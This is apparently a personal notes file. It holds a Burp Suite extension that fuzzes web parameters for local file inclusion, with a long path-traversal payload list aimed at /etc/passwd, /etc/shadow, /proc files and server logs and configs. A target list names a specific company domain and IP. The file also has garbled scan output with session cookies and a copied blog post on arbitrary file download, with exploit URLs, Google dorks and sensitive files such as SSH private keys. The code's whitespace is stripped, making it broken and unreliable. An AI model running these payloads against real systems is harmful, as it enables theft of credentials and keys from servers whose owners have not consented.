#-*-coding:utf-8-*-

#!/usr/bin/envpython    #现在想改动,感动的方法就是如果参数值value里面有.或者/才调用这个任意文件读取脚本,如果含有//或者有哪些ssrf的明显的参数name才调用ssrf的

#author:xiaodong

#支持mysql的报错注入和延时注入,mssql的延时注入检测

#如果需要,可以把注释掉的sql检测语句也加入到检测里

#bool类型检测自己手动检测就行,无需脚本

 

#关键参数

Filename、file、filepath path

 

关键字参考https://www.jianshu.com/p/f4b06f59c4cb

 

from__future__importwith_statement

fromburpimportIBurpExtender

fromburpimportIHttpListener

fromburpimportIHttpRequestResponse

fromburpimportIResponseInfo

fromburpimportIRequestInfo

fromburpimportIHttpService

importre

importtime

importthreading

importsys

reload(sys)

sys.setdefaultencoding('UTF-8')

SLEEP_TIME=3

 

saveFile=r'H:\2.py\py_self\py3\project\burpExtend\sql.txt'

print"LFIGET\nauthor:xiaodong"

 

classFuzzLFI:

def__init__(self):

 

#单引号,双引号,宽字节+单引号,宽字节+双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!!

self.dir=[

'/etc/passwd',

'../logs/access_log',

'../logs/error_log',

'/etc/shadow',

'/etc/group',

'proc/self/environ',

'/proc/self/environ',

'/proc/self/cmdline',

'/proc/self/stat',

'/proc/self/status',

'/proc/self/fd/0',

'/var/cpanel/cpanel.config',

'../etc/passwd',

'../../etc/passwd',

'../../../etc/passwd',

'../../../../etc/passwd',

'../../../../../etc/passwd',

'../../../../../../etc/passwd',

'../../../../../../../etc/passwd',

'../../../../../../../../etc/passwd',

'../../../../../../../../../etc/passwd',

'../../../../../../../../../../etc/passwd',

'../../../../../../../../../../../etc/passwd',

'../../../../../../../../../../../../etc/passwd',

'../../../../../../../../../../../../../etc/passwd',

'../../../../../../../../../../../../../../etc/passwd',

'../../../../../../../../../../../../../../../../etc/passwd',

'../proc/self/environ',

'proc/self/environ%00',

'../proc/self/fd/8',

'../proc/self/fd/8%00',

'/etc/security/group',

'/etc/security/passwd',

'/etc/security/user',

'/etc/security/environ',

'/etc/security/limits',

'/usr/lib/security/mkuser.default',

'/apache/logs/access.log',

'/apache/logs/error.log',

'/etc/httpd/logs/acces_log',

'/etc/httpd/logs/error_log',

'/var/www/logs/access_log',

'/usr/local/apache/logs/access_log',

'../../apache/logs/access.log',

'../../../apache/logs/access.log',

'../../../../apache/logs/access.log',

'/var/log/apache/access_log',

'/var/log/apache2/access_log',

'/var/log/access_log',

'/var/www/logs/error_log',

'/usr/local/apache/logs/error_log',

'/usr/local/apache/logs/error.log',

'/var/log/apache/error_log',

'/var/log/apache2/error_log',

'/var/log/apache/error.log',

'/var/log/apache2/error.log',

'/var/log/error_log',

'/var/log/httpd/access_log',

'/var/log/httpd/error_log',

'/apache2/logs/error.log',

'/apache2/logs/access.log',

'/logs/error.log',

'/logs/access.log',

'/etc/httpd/logs/acces.log',

'/etc/httpd/logs/error.log',

'/usr/local/apache/logs/access.log',

'/usr/local/apache2/logs/access_log',

'/usr/local/apache2/logs/error_log',

'/var/www/logs/access.log',

'/var/log/httpd/access.log',

'/var/log/httpd/error.log',

'/var/log/apache/access.log',

'/var/log/apache2/access.log',

'/opt/lampp/logs/access_log',

'/opt/lampp/logs/error_log',

'/opt/xampp/logs/access_log',

'/opt/xampp/logs/error_log',

'/opt/lampp/logs/access.log',

'/opt/lampp/logs/error.log',

'/opt/xampp/logs/access.log',

'/opt/xampp/logs/error.log',

'/ProgramFiles\ApacheGroup\Apache\logs\error.log',

'/logs/access_log',

'/logs/error_log',

'../../logs/error_log',

'../../../logs/access_log',

'../../../../logs/error_log',

'../../../../../logs/error_log',

'../../../../../../logs/error_log',

'../../../../../../../logs/error_log',

'../../logs/access_log',

'../../../../logs/access_log',

'../../../../../logs/access_log',

'../../../../../../logs/access_log',

'../../../../../../../logs/access_log',

'/usr/local/apache/conf/httpd.conf',

'/usr/local/apache2/conf/httpd.conf',

'/etc/httpd/conf/httpd.conf',

'/etc/apache/conf/httpd.conf',

'/usr/local/etc/apache/conf/httpd.conf',

'/etc/apache2/httpd.conf',

'/usr/local/apache/httpd.conf',

'/usr/local/apache2/httpd.conf',

'/usr/local/httpd/conf/httpd.conf',

'/usr/local/etc/apache2/conf/httpd.conf',

'/usr/local/etc/httpd/conf/httpd.conf',

'/usr/apache2/conf/httpd.conf',

'/usr/apache/conf/httpd.conf',

'/usr/local/apps/apache2/conf/httpd.conf',

'/usr/local/apps/apache/conf/httpd.conf',

'/etc/apache2/conf/httpd.conf',

'/etc/http/conf/httpd.conf',

'/etc/httpd/httpd.conf',

'/etc/http/httpd.conf',

'/etc/httpd.conf',

'/opt/apache/conf/httpd.conf',

'/opt/apache2/conf/httpd.conf',

'/var/www/conf/httpd.conf',

'/private/etc/httpd/httpd.conf',

'/private/etc/httpd/httpd.conf.default',

'/Volumes/webBackup/opt/apache2/conf/httpd.conf',

'/Volumes/webBackup/private/etc/httpd/httpd.conf',

'/Volumes/webBackup/private/etc/httpd/httpd.conf.default',

'/ProgramFiles\ApacheGroup\Apache\conf\httpd.conf',

'/ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf',

'/usr/local/php/httpd.conf.php',

'/usr/local/php4/httpd.conf.php',

'/usr/local/php5/httpd.conf.php',

'/usr/local/php/httpd.conf',

'/usr/local/php4/httpd.conf',

'/usr/local/php5/httpd.conf',

'/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',

'/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',

'/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',

'/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',

'/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',

'/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',

'/usr/local/etc/apache/vhosts.conf',

'/etc/php.ini',

'/bin/php.ini',

'/etc/httpd/php.ini',

'/usr/lib/php.ini',

'/usr/lib/php/php.ini',

'/usr/local/etc/php.ini',

'/usr/local/lib/php.ini',

'/usr/local/php/lib/php.ini',

'/usr/local/php4/lib/php.ini',

'/usr/local/php5/lib/php.ini',

'/usr/local/apache/conf/php.ini',

'/etc/php4.4/fcgi/php.ini',

'/etc/php4/apache/php.ini',

'/etc/php4/apache2/php.ini',

'/etc/php5/apache/php.ini',

'/etc/php5/apache2/php.ini',

'/etc/php/php.ini',

'/etc/php/php4/php.ini',

'/etc/php/apache/php.ini',

'/etc/php/apache2/php.ini',

'/web/conf/php.ini',

'/usr/local/Zend/etc/php.ini',

'/opt/xampp/etc/php.ini',

'/var/local/www/conf/php.ini',

'/etc/php/cgi/php.ini',

'/etc/php4/cgi/php.ini',

'/etc/php5/cgi/php.ini',

'/php5\php.ini',

'/php4\php.ini',

'/php\php.ini',

'/PHP\php.ini',

'/WINDOWS\php.ini',

'/WINNT\php.ini',

'/apache\php\php.ini',

'/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',

'/usr/local/cpanel/logs',

'/usr/local/cpanel/logs/stats_log',

'/usr/local/cpanel/logs/access_log',

'/usr/local/cpanel/logs/error_log',

'/usr/local/cpanel/logs/license_log',

'/usr/local/cpanel/logs/login_log',

'/var/log/mysql/mysql-bin.log',

'/var/log/mysql.log',

'/var/log/mysqlderror.log',

'/var/log/mysql/mysql.log',

'/var/log/mysql/mysql-slow.log',

'/var/mysql.log',

'/var/lib/mysql/my.cnf',

'/etc/mysql/my.cnf',

'/etc/my.cnf',

'C:/boot.ini',

'c:/wamp/logs/access.log',

'/etc/logrotate.d/proftpd',

'/www/logs/proftpd.system.log',

'/var/log/proftpd',

'/etc/proftp.conf',

'/etc/protpd/proftpd.conf',

'/etc/vhcs2/proftpd/proftpd.conf',

'/etc/proftpd/modules.conf',

'/var/log/vsftpd.log',

'/etc/vsftpd.chroot_list',

'/etc/logrotate.d/vsftpd.log',

'/etc/vsftpd/vsftpd.conf',

'/etc/vsftpd.conf',

'/etc/chrootUsers',

'/var/log/xferlog',

'/var/adm/log/xferlog',

'/etc/wu-ftpd/ftpaccess',

'/etc/wu-ftpd/ftphosts',

'/etc/wu-ftpd/ftpusers',

'/usr/sbin/pure-config.pl',

'/usr/etc/pure-ftpd.conf',

'/etc/pure-ftpd/pure-ftpd.conf',

'/usr/local/etc/pure-ftpd.conf',

'/usr/local/etc/pureftpd.pdb',

'/usr/local/pureftpd/etc/pureftpd.pdb',

'/usr/local/pureftpd/sbin/pure-config.pl',

'/usr/local/pureftpd/etc/pure-ftpd.conf',

'-/etc/pure-ftpd.conf',

'/etc/pure-ftpd/pure-ftpd.pdb',

'/etc/pureftpd.pdb',

'/etc/pureftpd.passwd',

'/etc/pure-ftpd/pureftpd.pdb',

'/usr/ports/ftp/pure-ftpd/',

'/usr/ports/net/pure-ftpd/',

'/usr/pkgsrc/net/pureftpd/',

'/usr/ports/contrib/pure-ftpd/',

'/var/log/pure-ftpd/pure-ftpd.log',

'/logs/pure-ftpd.log',

'/var/log/pureftpd.log',

'/var/log/ftp-proxy/ftp-proxy.log',

'/var/log/ftp-proxy',

'/var/log/ftplog',

'/etc/logrotate.d/ftp',

'/etc/ftpchroot',

'/etc/ftphosts',

'/var/log/exim_mainlog',

'/var/log/exim/mainlog',

'/var/log/maillog',

'/var/log/exim_paniclog',

'/var/log/exim/paniclog',

'/var/log/exim/rejectlog',

'/var/log/exim_rejectlog',

'../etc/passwd%00',

'../../etc/passwd%00',

'../../../etc/passwd%00',

'../../../../etc/passwd%00',

'../../../../../etc/passwd%00',

'../../../../../../etc/passwd%00',

'../../../../../../../etc/passwd%00',

'../../../../../../../../etc/passwd%00',

'../../../../../../../../../etc/passwd%00',

'../../../../../../../../../../etc/passwd%00',

'../../../../../../../../../../../etc/passwd%00',

'../../../../../../../../../../../../etc/passwd%00',

'../../../../../../../../../../../../../etc/passwd%00',

'../../../../../../../../../../../../../../etc/passwd%00',

'../../../../../../../../../../../../../../../../etc/passwd%00',

'../etc/shadow',

'../../etc/shadow',

'../../../etc/shadow',

'../../../../etc/shadow',

'../../../../../etc/shadow',

'../../../../../../etc/shadow',

'../../../../../../../etc/shadow',

'../../../../../../../../etc/shadow',

'../../../../../../../../../etc/shadow',

'../../../../../../../../../../etc/shadow',

'../../../../../../../../../../../etc/shadow',

'../../../../../../../../../../../../etc/shadow',

'../../../../../../../../../../../../../etc/shadow',

'../../../../../../../../../../../../../../etc/shadow',

'../etc/group',

'../../etc/group',

'../../../etc/group',

'../../../../etc/group',

'../../../../../etc/group',

'../../../../../../etc/group',

'../../../../../../../etc/group',

'../../../../../../../../etc/group',

'../../../../../../../../../etc/group',

'../../../../../../../../../../etc/group',

'../../../../../../../../../../../etc/group',

'../../../../../../../../../../../../etc/group',

'../../../../../../../../../../../../../etc/group',

'../../../../../../../../../../../../../../etc/group',

'../etc/security/group',

'../../etc/security/group',

'../../../etc/security/group',

'../../../../etc/security/group',

'../../../../../etc/security/group',

'../../../../../../etc/security/group',

'../../../../../../../etc/security/group',

'../../../../../../../../etc/security/group',

'../../../../../../../../../etc/security/group',

'../../../../../../../../../../etc/security/group',

'../../../../../../../../../../../etc/security/group',

'../etc/security/user',

'../../etc/security/user',

'../../../etc/security/user',

'../../../../etc/security/user',

'../../../../../etc/security/user',

'../../../../../../etc/security/user',

'../../../../../../../etc/security/user',

'../../../../../../../../etc/security/user',

'../../../../../../../../../etc/security/user',

'../../../../../../../../../../etc/security/user',

'../../../../../../../../../../../etc/security/user',

'../../../../../../../../../../../../etc/security/user',

'../../../../../../../../../../../../../etc/security/user',

'/WEB-INF/web.xml'

 

]

self.errorFlag=re.compile(r'.*(root:|sbin|State:R(running)|Tgid:|TracerPid:|Uid:|Filedoesnotexist:|emailusersbandwidth|adminuser=|database_prefix=|nologin|DB_NAME|daemon:|DOCUMENT_ROOT=|PATH="|HTTP_USER_AGENT|HTTP_ACCEPT_ENCODING=|GET/|HTTP/1.1|HTTP/1.0|apache_port=|cpanel/logs/access|allow_login_autocomplete|\^\^\^).*')

 

self.ssrfFlas=re.compile(r'.*(HTTPRecordInsertSuccess\^\^\^).*')

classBurpExtender(IBurpExtender,IHttpListener):

globalurls

urls=[]

defregisterExtenderCallbacks(self,callbacks):

 

self._callbacks=callbacks

 

#用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。

self._helpers=callbacks.getHelpers()

 

#用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name-扩展名。。

self._callbacks.setExtensionName("LFIGET")

 

#用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener-实现IHttpListener接口的扩展创建的对象。

callbacks.registerHttpListener(self)

 

self.fuzzLFI=FuzzLFI()

 

#获取请求的url

defget_request_url(self,protocol,reqHeaders):

link=reqHeaders[0].split('')[1]

host=reqHeaders[1].split('')[1]

returnprotocol+'://'+host+link

 

#保存结果

 

#获取请求的一些信息:请求头,请求内容,请求方法,请求参数

defget_request_info(self,request):

analyzedRequest=self._helpers.analyzeRequest(

request)#analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象

reqHeaders=analyzedRequest.getHeaders()#用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。

reqBodys=request[analyzedRequest.getBodyOffset():].tostring()#获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。

reqMethod=analyzedRequest.getMethod()#获取请求方法

reqParameters=analyzedRequest.getParameters()

returnanalyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters

 

#获取响应的一些信息:响应头,响应内容,响应状态码

defget_response_info(self,response):

analyzedResponse=self._helpers.analyzeResponse(

response)#analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。

resHeaders=analyzedResponse.getHeaders()#getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。

resBodys=response[

analyzedResponse.getBodyOffset():].tostring()#getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容

resStatusCode=analyzedResponse.getStatusCode()#getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。

returnresHeaders,resBodys,resStatusCode

 

#获取服务端的信息,主机地址,端口,协议

defget_server_info(self,httpService):

host=httpService.getHost()

port=httpService.getPort()

protocol=httpService.getProtocol()

ishttps=False

ifprotocol=='https':

ishttps=True

returnhost,port,protocol,ishttps

 

#获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)

defget_parameter_Name_Value_Type(self,parameter):

parameterName=parameter.getName()

parameterValue=parameter.getValue()

parameterType=parameter.getType()

returnparameterName,parameterValue,parameterType

 

#检查是否存在LFI

defcheck_lfi_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueLFI,parameterType):

thread_id=threading.current_thread().ident

#print'['+str(thread_id)+']'+parameterValueSQL

#构造参数

newParameter=self._helpers.buildParameter(parameterName,parameterValueLFI,parameterType)

#printnewParameter

#更新参数,并发送请求

newRequest=self._helpers.updateParameter(request,newParameter)

newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info(

newRequest)

 

#新的响应

newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest)

newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)

 

#判断是否存在特征

errorInject=self.fuzzLFI.errorFlag.findall(newResBodys)

 

iferrorInject:

#获取请求的url

newReqUrl=self.get_request_url(protocol,newReqHeaders)

content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[LFIGET]',errorInject,newReqUrl,newReqHeaders,newReqBodys)

printcontent

#self.save(content)

print'-'*50

 

 

 

#每次burp发送请求时,都会调用该方法

defprocessHttpMessage(self,toolFlag,messageIsRequest,messageInfo):

'''

:paramtoolFlag:一个标志,指示发出请求的Burp工具。Burp工具标志在IBurpExtenderCallbacks界面中定义

:parammessageIsRequest:标记是否为请求或响应调用方法。

:parammessageInfo:要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。

:return:

'''

 

#Proxy触发插件

iftoolFlag==4:

 

#处理响应内容

ifnotmessageIsRequest:

 

#获取请求包的数据

request=messageInfo.getRequest()

analyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters=self.get_request_info(request)

 

#获取响应包的数据

#response=messageInfo.getResponse()#getResponse方法用于检索请求消息。返回:响应消息。

#resHeaders,resBodys,resStatusCode=self.get_response_info(response)

 

#获取服务信息

httpService=messageInfo.getHttpService()

host,port,protocol,ishttps=self.get_server_info(httpService)

 

#获取请求的url

#reqUrl=self.get_request_url(protocol,reqHeaders)

 

#ifreqMethod=='GET':

iflen(host.split('.')[-2])!=3:

host_exp=host.split('.')[-2]+'.'+host.split('.')[-1]

else:

host_exp=host.split('.')[-3]+'.'+host.split('.')[-2]+'.'+host.split('.')[-1]

#printhost_exp

#获取请求的url

#reqUrl=self.get_request_url(protocol,reqHeaders)

url=str(host)+reqHeaders[0].split('')[1]+str(reqBodys)

#printurl

#ifreqMethod=='GET':

target_host=['','saicmaxus.com','']

target_ip=['149.28.232.77']

ifurlnotinurls:

#printurl

urls.append(url)

ifhost_expintarget_hostorhostintarget_ip:

ifreqHeaders[0].split('')[1].endswith('.js')orreqHeaders[0].split('')[1].endswith('.css')orreqHeaders[0].split('')[1].endswith('.jpg')orreqHeaders[0].split('')[1].endswith('.png')orreqHeaders[0].split('')[1].endswith('.gif')orreqHeaders[0].split('')[1].endswith('.woff?'):

#print"staticsource"

pass

 

else:

error_threads=[]

parameterErrorLFI=[]#报错语句列表

forparameterinreqParameters:

parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)

ifparameterNameinreqHeaders[0]orparameterNameinreqBodys:

forlficontentinself.fuzzLFI.dir:

 

a=lficontent

#returnparameterValue

#printa

parameterErrorLFI.append([parameterName,a,parameterType])

else:

parameterErrorLFI.append([parameterName,parameterValue,parameterType])

forlficontentinparameterErrorLFI:

parameterName,parameterValueLFI,parameterType=lficontent

#printparameterName,parameterValueLFI

t=threading.Thread(target=self.check_lfi_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueLFI,parameterType))

error_threads.append(t)

t.start()

fortinerror_threads:

t.join()

 

 

 

else:

print"isarepeaturl"

 

 

 

 

<<LFI_scan.py>>

运行效果

Python  Python  Errors  o  Output to system console  0  dig injection»int  @ Show in UI  GET] [('sbin',  [Headers] http://1 49 28 232 77/dvwa/vuInerabiItiesMpage=/proc/seIf/cmdIine  [Bodys] [GET /dvwa/vulnerabiltiesmnpage=/proc/self/cmdline HTTP/I Host 149 28 232 77 Upgrade-Insecure-Requests I User-Agent: MoziIIaEO Cvundows NT 10 0, V'vOv'vE4) AppleWebKtE37 36 (KHTML, like Gecko)  Chromey70 0 3538 10 SafariE37 36, Accept: text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN Cookie  csrftoken=aJufhdzgvVsubUuJ30UHafdi0YzuP3PgngocM LS07soVj8HUkaQOGbx4F4aRQpE; sessionid=a3j8mdfnsqpxkergkowuvtxdm185udeb; PHPSESSID  =amImhijonS4S2i6c7hkpgcfs66, Connection: close]  [Croot:', ('nologin',  ('nologin',  ('nologin',  ('nologin',  ('nologin',  ('nologin',  ('nologin',  ('nologin',  ('nologin',  ('nologin', ('nologin',  ('nologin',  ('nologin',  ('nologin', ('nologin',  ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin'  ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin',  ('nologin',  [Headers] http://1 49 28 232 77/dvwa/vuInerabiItiesMpage=/etc/passwd  [Bodys] [GET /dvwa/vulnerabilties/flnpage=/etc/passwd HTTP/I Host 149 28 232 77 Upgrade-Insecure-Requests I User-Agent: MoziIIaEO Cvundows NT 10 0, V'vOv'vE4) AppleWebKtE37 36 (KHTML, like Gecko)  securty=medium;  ('nologin',  ('nologin',  ('nologin',  Chromey70 0 3538 I O SafariE37 36, Accept: text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN g Cookie securty=medium;  csrftoken=8JufhdzgvVsubUuJ30UHafdiOYzuP3PgngOCMxoLS07soVj8HUkaQOGbx4F4aRQpE; sessionid=a3j8mdfnSqpxkergkOwuvtxdm18Sudeb; PHPSESSID=amImhijonS4S2i6c7hkpgcfs66, Connection: close]  [('Tgid:', ('TracerPid:', ('Uid:',  [Headers] http://1 49 28 232 77/dvwa/vuInerabiItiesMpage=/proc/seIf/status  [Bodys] [GET /dvwa/vulnerabilties/flnpage=/proc/self/status HTTP/I Host 149 28 232 77 Upgrade-Insecure-Requests I User-Agent: MoziIIaEO Cvundows NT 10 0, V'vOv'vE4) AppleWebKtE37 36 (KHTML, like Gecko)  Chromey70 0 3538 I O SafariE37 36, Accept: text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN Cookie securty=medium;  csrftoken=8JufhdzWVsubUuJ30UHafdiOYzuP3PgngOCMxoLS07soVj8HUkaOOGbx4F4aROpE; sessionid=a3j8mdfnSqpxkergkOwuvtxdm18Sudeb; PHPSESSID=amImhijonS4S2i6c7hkpgcfs66, Connection: close]

 

 

 

 

 

https://blog.csdn.net/u011215939/article/details/78839546

 

 

任意文件读取下载漏洞

漏洞原理

一个正常的网站,存在一个下载文件的功能,同时还会从浏览器接收文件名字,将存在任意文件下载漏洞。

 

<?php

    $filename = $_GET['filename'];

    echo '<h1>讲开始下载文件!</h1><br /><br />';

    echo file_get_contents($filename);

 

    header('Content-Type: imgage/jpeg');

    header('Content-Disposition: attachment; filename='.$filename);

    header('Content-Lengh: '.filesize($filename));

 

?>

 

1

2

3

4

5

6

7

8

9

10

11

12

13

利用方式

readfile.php?file=/etc/passwd

readfile.php?file=../../../../../../../../etc/passwd

readfile.php?file=../../../../../../../../etc/passwd%00

 

漏洞发现

Google search

inurl:”readfile.php?file=”

inurl:”read.php?filename=”

inurl:”download.php?file=”

inurl:”down.php?file=”

 

可以用Google hacking或Web漏洞扫描器。从链接上看,形如:

readfile.php?file=*.txt

download.php?file=*.rar

 

从参数名看,形如:

&RealPath=

&FilePath=

&filepath=

&Path=

&path=

&inputFile=

&url=

&urls=

&Lang=

&dis=

&data=

&readfile=

&filep=

&src=

&menu=

META-INF

WEB-INF

 

敏感信息

Windows:

C:\boot.ini //查看系统版本

C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件

C:\Windows\repair\sam //存储系统初次安装的密码

C:\Program Files\mysql\my.ini //Mysql配置

C:\Program Files\mysql\data\mysql\user.MYD //Mysql root

C:\Windows\php.ini //php配置信息

C:\Windows\my.ini //Mysql配置信息

 

Linux:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_ras.keystore

/root/.ssh/known_hosts

/etc/passwd

/etc/shadow

/etc/my.cnf

/etc/httpd/conf/httpd.conf

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]*(文件标识符)

/proc/mounts

/porc/config.gz

---------------------

作者:猫星人不会笑

来源:CSDN

原文:https://blog.csdn.net/u011215939/article/details/78839546

版权声明:本文为博主原创文章,转载请附上博文链接!